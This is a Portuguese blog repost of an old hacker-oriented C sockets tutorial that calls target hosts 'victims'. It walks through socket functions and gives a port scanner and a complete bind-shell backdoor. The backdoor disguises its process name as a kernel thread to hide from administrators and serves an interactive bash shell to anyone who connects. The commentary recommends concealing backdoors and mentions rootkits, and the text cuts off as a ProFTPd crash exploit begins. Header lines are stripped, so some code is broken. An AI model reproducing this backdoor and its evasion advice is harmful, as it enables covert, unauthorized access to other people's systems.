ST Informática

Tutorial sobre Sockets

noreply@blogger.com (Cr4sH) — Fri, 12 Apr 2013 19:35:00 +0000

Galera eu estava verificando minha pasta de apostilas e tutoriais e encontrei essa raridade perdida no meio de tantos documentos e resolvi colocar no 4shared pra vcs mais o mesmo esta off então colei na postagem msm.

Tutorial:

-------------------------- FASE I - O PARTO -------------------------

---------------------------------------

*** SOCKETS - O QUE SAO E P/ Q SERVEM! |

---------------------------------------

Nao vou me aprofundar descrevendo a origem e a necessidade do surgimento

dos sockets..vamos agir de forma pratica,mas teoria sempre é bom, peskise

se tiver tempo, pois esse assunto é fascinante.

Os sockets sao os programas responsaveis pela comunicação ou interligação

de outros programas na internet, por exemplo.Quando você se conecta a um

servico qualquer tipo(telnet) você está usando um socket, no caso chama-se

a rotina socket() como cliente do teu lado..e do lado do host com servico

uma rotina de socket servidor.Acredito se chegou até akí é pq já sabe

disso tudo, e quer ir mais alem. De forma pratica, quando você executa

um exploit remoto,vc usa um socket, quando vc cria um trojan remoto, usa-se

um socket, quando vc captura pacotes externamente vc usa um socket, etc....

----------------------

*** TIPOS DE SOCKETS! |

----------------------

Existe alguns tipos de sockets,mas por enquanto vamos nos ater apenas a 2,

os dois mais simples..de modo que se vc kiser ir mais alem e escrever

programas que se utilizem de RAW SOCKETS, paciencia irmao, ainda não é

dessa vez que escreveremos para vc. Os tipos de sockets que iremos trabalhar

sao os "Stream Sockets" e os "Datagram Sockets", eles também sao conhecidos

como "SOCK_STREAM" e "SOCK_DGRAM", respectivamente.

+ Stream Sockets usam TCP, sao usados em diversar aplicações como telnet,www,

etc.Os pacotes aqui sao sequenciais, seguem em 2 vias,você pode ler e gravar.

+ Datagrams Sockets usam UDP.Os pacotes aqui não sao sequenciais,opera em

1 via,você só pode ler ou gravar,nunca as 2 coisas.

A utilidade pratica de cada um deles você verá logo em breve.Outros

tipos conhecidos de sockets sao: SOCK_SEQPACKET e SOCK_RDM, veremos mais

sobre esses daí num futuro txt.

-------------

*** HEADERS |

-------------

Existem alguns headers usados em conjunto para facilitar ao maximo a programação

de sockets..Eis alguns akí:

#include

Lembre-se:"Dependendo da situação você poderá necessitar de mais headers.

Por isso amigo,as man pages sempre serão suas amigas. Antes de

usar uma função,leia a respectiva man page da mesma."

----------------------------

*** DECLARANDO UM SOCKET! |

----------------------------

P/ se declarar um socket não tem muito segredo.Ele é do tipo int, declara-se

normalmente.Ex:

main(){

int Meusocket;

...

}

-------------------------

*** DEFININDO ESTRUTURA |

-------------------------

Os dados necessarios do host a que se ker comunicar, sao definidos atraves

de uma struct.A struct usada para conexões na internet é a sockaddr_in, e

possui a seguinte declaração:

struct sockaddr_in {

short int sin_family; /* Familia do endereco */

unsigned short int sin_port; /* Numero da porta */

struct in_addr sin_addr; /* IP do Host */

unsigned char sin_zero[8]; /* Zera a estrutura, algum espaco como

struct sockaddr */

}

sin_family pode ser uma variedade de coisas, mas geralmente se usam uma

dessas aqui:

+ AF_INET (ARPA INTERNET PROTOCOLS) - "A mais usada"

+ AF_UNIX (UNIX INTERNET PROTOCOLS)

+ AF_ISO (ISO PROTOCOLS)

+ AF_NS (XEROX NETWORK SYSTEM PROTOCOLS)

Ai ficaria algo como:

main(){

int Meusocket;

struct sockaddr_in vitima;

}

---------------------------

*** CONSTRUINDO UM SOCKET |

---------------------------

Bem podemos dar inicio na pratica a contrução de um socket.A Contrução de

um socket segue o modelo:

Meusocket = socket(sin_family, tipo_do_socket_desejado,Numero_protocolo);

Onde:

sin_family sao essas já explicadas acima;

tipo_do_socket_desejado, no nosso caso SOCK_STREAM ou SOCK_DGRAM;

Numero_protocolo é o número correspondente do protocolo q se vai

trabalhar,ex:

0 - IP - INTERNET PROTOCOL

1 - ICMP - INTERNET CONTROL MESSAGE PROTOCOL

2 - IGMP - INTERNET GROUP MULTICAST PROTOCOL

3 - GGP - GATEWAY-GATEWAY PROTOCOL

6 - TCP - TRANSMISSION CONTROL PROTOCOL

17 - UDP - USER DATAGRAMA PROTOCOL

Um exemplo pratico seria:

main(){

int Meusocket; /* Declarando a variavel socket */

Meusocket = socket(AF_INET,SOCK_STREAM,0);

}

Feito a declaração e a contrução do arquivo socket, nos seguimos adiantes

contruindo a struct com dados do host que se deseja, nosso caso a vitima.

Ficaria um esquema igual a esse:

struct sockaddr_in vitima;

vitima.sin_family = AF_INET /* Nossa sin_family no exemplo acima */

vitima.sin_porta = htons(PORTA) /* Aqui o esquema é o seguinte:

htons significa "host to network short", como

é short trabalha com 2 bytes,mas ha ainda

outros tipos como: htonl("host to network

long",4 bytes), ntós("network to host

short",2 bytes), ntól("network to host

long", 4 bytes). */

vitima.sin_addr.s_addr = inet_addr(ip_da_vitima);/*Aqui ocorre a aquisição do

endereco ip da vitima, como na

declaração acima em struct

sockaddr_in, aqui é somente o

ip, não ainda o dominio */

bzero(&(vitima.sin_zero),8); /* Zera o resto da estrutura */

Vamos ver agora como de fato está nosso exemplo inicial:

/* acrescente os headers necessarios */

main(){

int Meusocket;

struct sockaddr_in vitima;

Meusocket = socket(AF_INET,SOCK_STREAM,0);

if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */

{

perror("Socket");

exit(1);

}

vitima.sin_family = AF_INET;

vitima.sin_port = htons(31337);

vitima.sin_addr.s_addr = inet_addr("200.100.100.1");

bzero(&(vitima.sin_zero),8);

...

}

Vamos caminhando mais a frente, já temos declarado e construido o arquivo

socket, no caso Meusocket, e a struct de conexão, no caso a vitima.Agora

vamos para uma função muito usada na conexão, a função connect(), que fará

o elo entre o "Meusocket" e a "vitima".

------------------------

*** A função CONNECT() |

------------------------

Essa é a conhecida função responsavel pela conexão telnet(essa que muita

gente usa para fins nada convencionais).Essa função,como o proprio nome, diz

é a função responsavel pela conexão de seu socket cliente, com um servico

servidor qualquer.

Os headers necessarios para o uso dessa função sao:

#include

Uma vez declarado os headers..vamos declarar a função propriamente dita:

int connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima));

De forma bem pratica,declaramos a função connect(),onde:

+ Meusocket -> nosso arquivo socket.

+ vitima -> O host que queremos conectar(struct).

Como podemos ver, não é tao complicado assim..fazer o dito cujo,mas

se já chegamos até aqui,podemos mostrar um exemplo pratico de tudo

que foi escrito aí em cima..mas calma,primeiro veremos como ficou nosso

programa por inteiro.

/* headers necessarios */

#include

main(){

int Meusocket;

struct sockaddr_in vitima;

int Conector;

Meusocket = socket(AF_INET,SOCK_STREAM,0);

if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */

{

perror("Socket");

exit(1);

}

vitima.sin_family = AF_INET;

vitima.sin_port = htons(31337);

vitima.sin_addr.s_addr = inet_addr("200.100.100.1");

bzero(&(vitima.sin_zero),8);

Conector = connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima));

if(Conector < 0) /* Mais uma checagem de erro */

{

perror("Connect");

exit(1);

}

Voce agora deve estar se perguntando,se já sei como declarar um socket(),

sei fazer a struct da vitima, e também já sei me conectar em alguma coisa

entao, o que posso eu fazer com isso tudo?? Calma amigo..abaixo segue umas

bobagens a mais,mas com o basico aí em cima você já pode fazer muita

coisa... Ha quem diga que não..mas vamos lá.

------------------------------------------------

*** ALGUMAS BOBAGENS P/ MOSTRAR EXEMPLO PRATICO |

------------------------------------------------

Segue agora algumas função que não não necessarias,mas que vao ajudar

a "embelezar" o exemplo que se seguirá, para que não haja duvidas quanto

o conhecimento do autor, e visando o esclarecimento de algumas coisa que

de fato sao uteis.

+ função gethostbyname();

-------------------------

Por frescurite ou não,as vezes você quer ao inves de digitar o ip da

vitima(host que se quer conectar ou etc), você quer digitar seu domain.

Exemplo: ao inves de digitar 127.0.0.1 você prefere digitar localhost.

Muitas aplicações seguem esse esquema..bem, para que isso possa ocorrer,

como estamos trabalhando com C, usamos uma função chama gethostbyname(),

essa função é declarada da seguinte forma:

#include /* Talvez haja variação desse header, bom dar um man

gethostbyname para se certificar,mano!! */

struct hostent * gethostbyname(char *name);

Como se pode ver ele retorna um ponteiro para uma struct que possui a

seguinte declaração:

#define h_addr h_addr_list[0] /* endereco, para combatibilizar

o modo inverso(reverso) */

struct hostent {

char *h_name; /* Nome oficial do host */

char **h_aliases; /* Lista de aliases */

int h_addrtype; /* Tipo de endereco do host */

int h_length; /* Tamanho do endereco */

char **h_addr_list; /* Lista de enderecos do

servidor de nomes */

};

Vamos analisar agora cada membro da estrutura:

h_name -> Nome oficial do host.

h_aliases -> Uma array terminada em zero de nomes alternados para o host.

h_addrtype -> O tipo do endereco que está sendo retornado.Ex: AF_INET.

h_length -> O Tamanho em bytes do endereco.

h_addr_list -> Uma array terminada em zero do endereco da rede para o host.

O endereco do Host é retornado em nbo(network byte order).

e a definição:

h_addr -> Eh o primeiro endereco em h_addr_list; Isto é para

compatibilizar o modo inverso,ou a inversao.Quando você digita

localhost saber que é 127.0.0.1, por exemplo.

+ função getservbyport();

------------------------

O proprio nome também já denuncia essa daí. Essa função envia ou diz

para você qual o servico que está rodando numa determinada porta,usando

como referencia o seu arquivo /etc/services. Eh bo manter esse arquivo

integro,senão receberá resultados errados no exemplo que logo seguirá.

Mas vamos lá, a função getservbyport() segue declarada desse jeito:

#include /* Header necessario..lembre-se, man pages */

struct servent *getservbyport(int port, const char *proto);

A estrutura servent é definida da seguinte forma em :

struct servent {

char *s_name; /* Nome oficial do servico */

char **s_aliases; /* Lista de aliases */

int s_port; /* Numero da porta */

char *s_proto; /* Protocolo para usar */

}

analizando:

s_name -> Nome oficial do servico. Ex: ftp,telnet,echo.

s_aliases -> Um lista terminada em zero de nomes alternativos para o

servico.

s_port -> O número da porta referente ao servico, dado em NBO(Network

Byte Order)

s_proto -> O nome do protocolo para usar com este servico.

------------------------------

*** PRIMEIRO EXEMPLO PRATICO |

------------------------------

Bem, com as instruções acima, já podemos fazer algumas coisinhas,a

utilidade varia conforme o cerebro que está usando as informações

acima ditas. Abaixo segue um exemplo de um portscan, que scaneia usando

a função connect(). Esse metodo é muito usado ainda, mas não é um bom

método, pois é de fácil detecção. Mas pela facilidade com que se escreve

um programa desse tipo,será nosso primeiro exemplo, mais a frente nós

veremos coisas mais úteis, e mais complexas.Esse portscan serve somente

para serviços tcp, pois usa SOCK_STREAM, já explicado acima.

-----------------------Exemplo de portscan-------------------------------

/* Simples PortScan usando a função connect().

Desenvolvido por Nash Leon. Unsekurity Team.

Thanks Ramona.

compila com: $ gcc -o portscan portscan.c

ou como bem quiser.

/* Headers necessarios */

#include

/* Definição das portas(inicial e final) caso estas não sejam

digitadas na linha de comando */

#define PORTA_INICIAL 1

#define PORTA_FINAL 7000

main(int argc, char *argv[])

{

char host[15], *ip;

int porta_inicial, porta_final, portas, i,meusocket;

struct sockaddr_in vitima;

struct hostent *he;

struct servent *servico;

if (argc == 1)

{

fprintf(stderr,"**********************************************************\n");

fprintf(stderr,"*************Simples PortScan usando Connect()************\n");

fprintf(stderr,"****************Desenvolvido por Nash Leon****************\n");

fprintf(stderr,"**********************************************************\n");

fprintf(stderr,"Uso: %s \n",argv[0])

;exit(0);

}

if (argc > 1)

{

porta_inicial = PORTA_INICIAL;

porta_final = PORTA_FINAL;

}

if (argc > 2)

{

porta_inicial = atoi (argv[2]);

porta_final = atoi (argv[3]);

}

/* Aqui tem inicio o scaneamento, comecando a contagem com porta_inicial

e terminando em porta_final */

for (portas = porta_inicial; portas < porta_final; portas++){

/* Declaração de gethostbyname */

he = gethostbyname(argv[1]);

if(he == NULL)

{

printf("Erro: Host Desconhecido!!\n");

exit(-1);

}

/* Declaração do arquivo socket */

meusocket = socket(AF_INET, SOCK_STREAM,0);

if(meusocket < 0)

{

perror("Socket");

exit(1);

}

/* Abaixo a declaração da estrutura da vitima */

vitima.sin_family = he->h_addrtype; /* Tipo do endereco retornado,no caso AF_INET. */

vitima.sin_port = htons(portas);

vitima.sin_addr = *((struct in_addr *)he->h_addr); /* P/ compatibilizar o processo inverso */

bzero(&(vitima.sin_zero), 8);

/* função connect(), ela vai se conectar a porta do host vitima, se

receber uma resposta negativa, no caso (-1), ela fecha o socket, mas

como estamos dentro de um processo for, abrira outro socket com outra

porta, e quando a resposta da vitima for positiva (0), seguira a

diretiva else abaixo. */

if(connect(meusocket,(struct sockaddr * )&vitima, sizeof(vitima)) == -1)

{

close(meusocket);

}

/* Aqui temos getservbyport nos dizendo qual servico corresponde a porta

que foi encontrada aberta.Se servico for igual a NULL, teremos

"Desconhecido como saida, senão, ele nos dirá o servico,baseado em

nosso /etc/services */

else

{

servico = getservbyport(htons(portas),"tcp");

printf("A porta %d esta aberta mano!! O Servico é [%s]\n",portas,(servico == N

ULL) ? "Desconhecido" : servico-> s_name);

}

close(meusocket);

}

---------------------fim do primeiro exemplo-----------------------------

OBS: Bem amigo, não é aconselhável você usar esse programa descrito acima

para outros propósitos, a não ser aprender a construir e trabalhar com

sockets. Primeiro, não tenho certeza, mas scanear uma rede deve ser

ilegal, vai aí um toque, qualquer coisa digam: "Um amigo disse que

era administrador da rede e pediu para eu scanear a rede para ele,pois

ele não tinha scanner! -Mas que amigo? -Um que conheci no irc!! :)";

Segundo, existem ferramentas melhores e bem mais poderosas que essa,

tais como nmap, queso, etc... que já vem prontinhas para esses fins;

Terceiro, com o aumento dos sistemas de detecção, com o advento de bons

firewalls, e com a "capacitação" do pessoal da seguranca, essa

técnica descrita acima não é nada boa. Mais embaixo veremos algumas

ferramentas e teorias mais interessantes. Pegue o conceito, um dia

você talvez terá que fazer seu próprio scanner stealph (que não se

deixa logar, invisível).

Vamos seguindo em frente nessa jornada em busca de coisas mais práticas

nos nossos dias. Chegamos na fase 2 do nosso jogo com sockets, essa fase

é interessante, se você tem muitos neurônios, não hesite em queimá-los,

mas se só tiver o tico-e-teco, como eu,:), aí vai umas coisinhas que

aprendi botando os 2 para trabalhar. Depois seguirá outro exemplo prático

com as declarações abaixo:

----------------------- FASE 2 - ENGATINHANDO --------------------------

*** A função bind() |

Une um nome ao seu socket.

De modo bem prático, essa função serve para associar uma porta em sua

máquina local para o seu socket. Essa função é muito usada com outra

função, a listen(), mais na frente veremos algo sobre essa função.

A função bind() é muito usada em servidores, socket servidor.

Veremos agora como é declarada essa função:

/* Headers necessários, veja man bind() */

#include

int bind(int Meusocket, struct sockaddr *local, int addrlen);

onde:

+ Meusocket -> Nosso velho conhecido, o mesmo dos casos anteriores.

+ local -> O esquema aqui é o seguinte, ao invés de declarar

como sendo vítima, declararemos como o endereço

local, não o remoto. a estrutura será toda voltada

para a máquina local, onde vai ser executado o programa.

+ addrlen -> Tamanho do tipo da estrutura que está se trabalhando,

geralmente usa-se sizeof(struct sockaddr).

Eis o básico dessa função. Abaixo segue um exemplo de declaração da mesma

dentro de um programa qualquer:

/* Headers */

#include

#define MINHA_PORTA 20000

main(){

int Meusocket;

struct sockaddr_in meu_endereco;

Meusocket = socket (AF_INET,SOCK_STREAM,0);

local.sin_family = AF_INET;

local.sin_port = htons(MINHA_PORTA);

local.sin_addr.s_addr = inet_addr("200.100.100.1");

bzero(&(local.sin_zero),8);

bind(Meusocket,(struct sockaddr *)&local,sizeof(struct sockaddr));

...

}

Podemos notar que a declaração é semelhante ao esquema do primeiro caso,

onde ao invés de meu_endereco, nós tinhamos vítima. Para nossos objetivos

meu_endereco refere-se ao endereço local, da makina onde se executa o

programa, e vítima se refere a um endereço remoto. Veremos mais adiante

que o que eu disse aí pode confundir, pois depende do modo como se vê as

coisas, fique atento e não terá problemas. Leve em consideração apenas

os processos cliente e servidor, acho que assim é melhor..:).

----------------------

*** A FUNÇÃO listen() |

----------------------

Essa função também não tem nada demais. O seu nome também já diz o porque

de se usar ela. Ela escuta ou melhor dizendo, espera uma determinada

conexão em um socket. Para aceitar uma conexão, um socket é primeiro criado

usando a função socket(), após a criação do mesmo, a função listen() entra

para setar o número de conexões que serão permitidas para determinado serviço.

Um exemplo prático disso é o uso de ftps que permitem até 20 conexões

por exemplo. Você entra e recebe uma mensagem tipo: "Voce é o #5 usuário

de 20!", coisa desse tipo. A função listen() é muito usada em servidores

haja visto essa necessidade, mas existem outras utilidades também para ela

que são úteis para os nossos propósitos. Veremos isso depois.

A função listen() é declarada da seguinte forma:

/* Header */

#include

int listen(int Meusocket, int backlog);

onde:

+ Meusocket -> Nosso amigo de novo,o mesmo de sempre.

+ backlog -> backlog é um número inteiro responsável pelo total

de conexões que serão permitidas para o serviço. Muitos

sistemas limitam esse número até 20, você pode ficar

limitado de 5 a 10. As conexões futuras ficarão esperando

até que o servidor aceite, para isso usa-se a função

accept(), que explicaremos mais abaixo.

Como iremos permitir mais de uma conexão, se faz necessário que declaremos

um outro socket() que será o responsável pelas futuras requisições de

conexão. Poderiamos deixar para definir com a função accept(), porque esse

novo socket só será aceito após o primeiro, mas em todo caso, ele já vai

declarado abaixo para facilitar as coisas.

Um esquema prático para a nossa função listen, seria usá-la em conjunto com

a função bind() descrita acima. Ficaria assim:

/* Headers */

#include

#define MINHA_PORTA 20000

main(){

int Meusocket;

int NovoSocket;/* Este espera a vez dele, listen o enumerará para que faça

a conexão depois */

struct sockaddr_in local;

/* Declaração de Meusocket e da estrutura que fechará a conexão

no caso "local" */

Meusocket = socket (AF_INET,SOCK_STREAM,0);

local.sin_family = AF_INET;

local.sin_port = htons(MINHA_PORTA);

local.sin_addr.s_addr = inet_addr("200.100.100.1");

bzero(&(local.sin_zero),8);

bind(Meusocket,(struct sockaddr *)&local,sizeof(struct sockaddr));

listen(Meusocket,5);

...

}

Bem, nosso exemplo é só demonstrativo, para irmos com calma, não dá para

fazer muita coisa com isso daí, mas veremos agora uma outra função

muito importante muito usada em sockets servidores.

-----------------------

*** A função accept() |

-----------------------

Essa função também não tem muito segredo, ela é a função responsável

por aceitar uma conexão em um socket. Um socket cliente pede permissão

para um socket servidor para que ambos se comuniquem, essa função será a

que decidirá o futuro da conexão, se aceita ou rejeita.

Vamos a declaração dela:

/* Headers */

#include

int accept(int Meusocket, struct sockaddr *remoto,socklen_t *remotolen);

onde:

+ Meusocket -> É o socket do servidor, o nosso exemplo das seções acima.

+ remoto -> Aqui o esquema é o seguinte, será o endereço remoto, como

nós estamos fazendo o papel de servidor, esse dito cujo seria

o cliente no caso. Poderia se referir a ele também como remoto,

já que a estrutura que declaramos é a local.

+remotolen -> É o tamanho da estrutura que se está trabalhando.

Trabalharemos com sockaddr_in, logo seria

sizeof(struct sockadd_in).

Veremos como ficaria o esquema de um simples socket servidor agora:

/* Headers */

#include

/* Segue definição da porta e do número de conexões que serão

permitidas a mesma, chamada aqui de BACKLOG. */

#define MINHA_PORTA 20000

#define BACKLOG 5

main(){

int Meusocket, Novosocket; /* listen() em Meusocket, nova conexão em

Novosocket */

struct sockaddr_in local;

struct sockaddr_in remoto;

int tamanho;

bzero(&local, sizeof(local)); /* Zera a estrutura */

local.sin_family = AF_INET;

local.sin_port = htons(29999);

local.sin_addr.s_addr = INADDR_ANY;/* aqui INADDR_ANY será responsável

por pegar nosso endereço diretamente

do próprio sistema. */

bzero(&(local.sin_zero), 8);

/* Declaração do socket() */

Meusocket=socket(AF_INET, SOCK_STREAM, 0);

/* Seguem abaixo declaração de bind() e listen() */

bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr);

listen(Meusocket, BACKLOG);

tamanho = sizeof (struct sockaddr_in);/* Declaramos essa variavel para

melhorar o algoritmo tao somente */

while(1) /* loop essencial para accept() */

/* Eis aí a função accept()

NovoSocket = accept(Meusocket, (struct sockaddr *)&remote,&tamanho);

}

O esqueleto acima pode ser bastante útil, colocaremos abaixo um exemplo

prático das funções descritas nessa fase. Nada por enquanto de complexo,

acho que nem vai ter, programar sockets em C não é nem mesmo trabalhoso,

sim, levando em conta que escrevo para aqueles que passam noites, semanas e

meses em busca de um dia poderem achar um "furo de reportagem".

Os termos tem variado e alguns até perderam sentido, mas creio que os

pesquisadores de verdade, antes chamados "Newbies" merecem sim todo o

respeito e consideração, é para eles que vão essas linhas de texto, bem

como todos os exemplos práticos. Quanto a "Elite", como ela sempre esquece

que um dia foi igual a esses pesquisadores que acabo de mencionar, para ela,

que já possui sua mente "formada", e muitas das vezes se auto-intitula

anti-ética, nunca ví fuçador de verdade que não obeça as regras da ética,

mas de qualquer forma, enquanto essa "Elite" não se unir, a roda não vai

girar, e a seguranca sempre ficará cantando de galo, como estão hoje em dia,

tem gente que trabalha na segurança das grandes companhias e se considera

fuçador!!:)..sei onde vocês andam fuçando viu!!

Manifestos a parte, a bomba maior virá depois, vamos seguir com um

exemplo prático de um programa servidor, mais comumente chamado de

backdoor, mas pode ser também um trojan, só depende de nossos neurônios.

-----------------------------

*** SEGUNDO EXEMPLO PRÁTICO |

-----------------------------

Esse programa copia uma shell para uma determinada porta, ele é amplamente

difundido na Internet com o nome de bindshell, mas possui muitas variações,

para propósitos educacionais eu criei uma backdoor baseada nesse programa,

de modo que tornasse mais claro o nosso aprendizado.

--------------------------Backdoor usando Socket-------------------------

/* Backdoor em Socket simples...by Nash Leon

Thanks Ramona e Unsekurity Team.

nashleon@yáoo.com.br

http://unsekurity.virtualave.net

Compile usando:

$gcc -o back back.c

/* HEADERS */

#include

#define MINHA_PORTA 20000 /* A porta do servidor */

#define BACKLOG 5 /* Até quantas conexões */

int main(int argc, char *argv[])

{

int Meusocket, Novosocket, tamanho;

struct sockaddr_in local;

struct sockaddr_in remote;

/* Cria um processo crianca ou menor, para não necessitar executar

usando & */

if(fork() == 0){

/* Aqui segue a esperteza..se alguém der ps aux, top, ou ver os processos

que estao rodando verá o que está copiado abaixo, no caso [kflushd],

mude isso conforme o sistema onde será executada a backdoor */

strcpy(argv[0], "[kflushd]");

signal(SIGCHLD, SIG_IGN);

/* Criando a estrutura local(servidor) */

bzero(&local, sizeof(local));

local.sin_family = AF_INET;

local.sin_port = htons(MINHA_PORTA);

local.sin_addr.s_addr = INADDR_ANY;

bzero(&(local.sin_zero), 8);

/* Declaração do socket(),bind() e listen() */

Meusocket=socket(AF_INET, SOCK_STREAM, 0);

bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));

listen(Meusocket, BACKLOG);

tamanho = sizeof(struct sockaddr_in);

/* O velho while(1) para ser usado com nosso novo accept() */

while(1)

{

if((Novosocket=accept(Meusocket, (struct sockaddr *)&remote,&tamanho))==1)

{

perror("accept");

exit(1);

}

if(!fork())

{

close(0); close(1); close(2);

/* dup2() aqui é usado para criar uma copia de Novosocket */

dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket,2);

/* Entao a shell é executada, nesse caso uma bash

Mude-a para qualquer uma que quiser, e atenção ao

parâmetro -i, nem todas aceitam shell interativa */

execl("/bin/bash","bash","-i", (char *)0);

close(Novosocket);

exit(0);

}

return(0);

}

-------------------------Fim do Segundo Exemplo-------------------------

Algumas considerações a respeito do dito cujo aí de cima; Primeiro,

esse dito cujo possui uma porta 20000, pode ser usado em muitos sistemas

por usuários comuns(não-root), geralmente as portas baixas só o root

pode manipular, até a porta 1024. Até para dificultar a percepção de

admin dessa backdoor, é inteligente colocar numa porta alta,

não muito conhecida, não coloque em portas elites como 12345 ou 31337,

faça seu próprio esquema; colocarei o source depois mais interessante; Segundo

quando um cliente se conecta a essa backdoor, ele caí numa shell com

argumento -i, ou shell interativa, se não quiser ou o sistema não aceitar

esse argumento, retire-a, isso muda de sistema e de tipo de shell também;

Terceiro, esse programa não é prático, já é conhecido, muito conhecido, de

modo que é uma backdoor de fácil detecção, quando, lógico, o admin é um

cara responsável, existe muita coisa boa por aí, como backdoors em kernel

modules, em códigos fontes que lhe dão shell num simples passe de mágica

ou num simples toque de tecla :); bem como bons rootkits, alguns pouco

conhecidos capazes de tornar você "invisível" num sistema. Como todos os

exemplos aqui são de propósito puramente educacional, não nos

responsabilizamos pelo uso dos mesmos. Creio amigo, que backdoor é

pessoal, como a coisa vem "esquentando", o pessoal da segurança tem

trabalhado mais, cabe a você pensar numa backdoor sua mesmo, para

determinado sistema, uma coisa bem específica, num outro TXT, falaremos

bem mais sobre isso, por enquanto, pense, pense e pense!

Mas vamos seguindo, chega de conversa fiada, vamos para a fase 3 desse nosso

joguinho com sockets, uma fase bem interesssante e vocês saberão o porque.

-------------------- FASE III - MANDANDO BALA --------------------------

---------------------------

AS FUNÇÕES send() e recv() |

---------------------------

Como sempre, não há misterios, os próprios nomes também denunciam essas

funções. Essas duas funções são para comunicação em Stream sockets e

Datagrams sockets. A função send() é usada para enviar uma mensagem para um

socket, e consequentemente a função recv() é usada para receber dados em

um socket. A utilidade disso tudo já é bem evidente quando se manipulam

aplicações que envolvem sockets. veremos como se declara send() primeiro:

/* Headers */

#include

int send(int Meusocket, const void *msg, size_t len, int flags);

onde:

+ Meusocket -> é o bom e velho arquivo socket, nosso velho conhecido.

+ *msg -> é um ponteiro para a mensagem que queremos enviar.

+ len -> é o tamanho da mensagem. Se a mensagem é muito grande para

passar atômicamente sobre o protocolo escolhido, a mensagem

de erro EMSGSIZE é retornada, e a mensagem não é transmitida.

+ flags -> São parâmetros adicionais,podem ser:

#define MSG_OOB 0x1 /* processa dados out-of-band */

#define MSG_DONTROUTE 0x4 /* debuga */

O flag MSG_OOB é usado para enviar dados out-of-band em sockets

que suportam isso (Ex. SOCK STREAM); o protocolo escolhido deve

também suportar dados out-of-band.

O flag MSG_DONTROUTE é usado geralmente só para diagnosticar

programas.

Uma boa olhada nas man pages de cada função ajuda bastante, caso haja

dúvidas nisso.

Vimos a declaração da função send(), veremos agora a função recv(), ela

é similar em muitos aspectos a função send(). Veremos:

/* Headers */

#include

int recv(int Meusocket, void *buf, int len, unsigned int flags);

onde:

+ Meusocket -> é o socket para ler de outro,no caso, um socket local.

+ buf -> Aqui é o endereço da área do buffer.

+ len -> é o tamanho do buffer.

+ flags -> são formados por MSG_OOB e MSG_PEEK permitindo receber dados

out-of-band e permitindo espiar dados que entram,

consequentemente. Esta chamada deve ser usada somente com

sockets do tipo SOCK_STREAM.

Abaixo seguem mais dois exemplos, estes envolvendo tudo que foi abordado

até agora. O primeiro exemplo é um simples socket servidor.

---------------------------Servidor Simples------------------------------

/* Velhos headers de sempre */

#include

#define MINHAPORTA 20000 /* Porta que os usuarios irão se conectar*/

#define BACKLOG 10 /* Quantas conexões pendentes serão indexadas */

main()

{

int Meusocket, Novosocket; /* escuta em Meusocket, nova conexão

em Novosocket */

struct sockaddr_in meu_endereco; /* informação do meu endereco */

struct sockaddr_in endereco_dele; /* informação do endereco do conector */

int tamanho;

if ((Meusocket = socket(AF_INET, SOCK_STREAM, 0)) == -1)

{

perror("socket");

exit(1);

}

meu_endereco.sin_family = AF_INET;

meu_endereco.sin_port = htons(MINHAPORTA);

meu_endereco.sin_addr.s_addr = INADDR_ANY; /* coloca IP automaticamente */

bzero(&(meu_endereco.sin_zero), 8); /* Zera o resto da estrutura */

if (bind(Meusocket, (struct sockaddr *)&meu_endereco, sizeof(struct sockaddr))== -1)

{

perror("bind");

exit(1);

}

if (listen(Meusocket, BACKLOG) < 0)

{

perror("listen");

exit(1);

}

while(1) {

tamanho = sizeof(struct sockaddr_in);

if ((Novosocket = accept(Meusocket, (struct sockaddr *)&endereco_dele,&tamanho)) < 0){

perror("accept");

continue;

}

printf("Servidor: chegando conexão de %s\n",inet_ntoa(endereco_dele.sin_addr));

if (!fork()) {

if (send(Novosocket, "Seja bem vindo!\n", 16, 0) == -1)

{

perror("send");

close(Novosocket);

exit(0);

}

close(Novosocket);

while(waitpid(-1,NULL,WNOHANG) > 0); /* Limpa o processo crianca.fork() */

}

----------------------------Servidor simples------------------------------

Aí está um exemplo de um simples servidor, o que ele faz é quando alguém

se conectar a ele, ele enviará uma mensagem pela função send(), no caso

"Seja bem vindo!". Abaixo segue um esquema que um cliente simples para esse

servidor.

---------------------------Cliente Simples-------------------------------

/* Headers */

#include

#define PORTA 20000 /* Porta para conectar */

#define MAXDATASIZE 100 /* máximo número de bytes que poderemos enviar

por vez */

int main(int argc, char *argv[])

{

int Meusocket, numbytes;

char buf[MAXDATASIZE];

struct hostent *he;

struct sockaddr_in seu_endereco;

if (argc != 2) {

fprintf(stderr,"Uso: cliente hostname\n");

exit(1);

}

if ((he=gethostbyname(argv[1])) == NULL) /* envia host info */

{

herror("gethostbyname");

exit(1);

}

if ((Meusocket = socket(AF_INET, SOCK_STREAM, 0)) == -1)

{

perror("socket");

exit(1);

}

seu_endereco.sin_family = AF_INET;

seu_endereco.sin_port = htons(PORTA);

seu_endereco.sin_addr = *((struct in_addr *)he->h_addr);

bzero(&(seu_endereco.sin_zero), 8);

if (connect(Meusocket,(struct sockaddr *)&seu_endereco, sizeof(struct sockaddr)) ==-1)

{

perror("connect");

exit(1);

}

if ((numbytes=recv(Meusocket, buf, MAXDATASIZE, 0)) == -1)

{

perror("recv");

exit(1);

}

buf[numbytes] = '\0';

printf("Recebido: %s",buf);

close(Meusocket);

return 0;

}

--------------------------------------------------------------------------

Aí estão os exemplos, execute o servidor primeiro, depois o cliente. Isso

é só para demonstrar de modo fácil como se pode manipular as funções

send() e recv(). Veremos agora um exemplo mais abrangente dessas duas

funções, algo mais prático para nossos intuitos.

-----------------------Denial of service para Proftpd-----------------------

* Crashes ProFTPd 1.2.0pre4 because of a buffer overflow.

* This bug was discovered by the Nessus Security Scanner

* I don't know if this flaw can be exploited to gain

* root privileges.

* The name of the created directory must not exceed 255 chars !

* Written by Renaud Deraison

* (Esse exploit serve para crashear um servidor de ftp, ProFTPd)

* Eu alterei o fonte para os nossos propósitos, simplificando as coisas

* ao máximo, mas no momento basta se ater a manipulação que ele deu

* as funções send() e recv().(Nash Leon)

/* Headers necessários */

#include

#define VITIMA "127.0.0.1"

#define DIR_ESCRITA "/incoming"

int main()

{

struct in_addr vitima;

int Meusocket;

struct sockaddr_in sa;

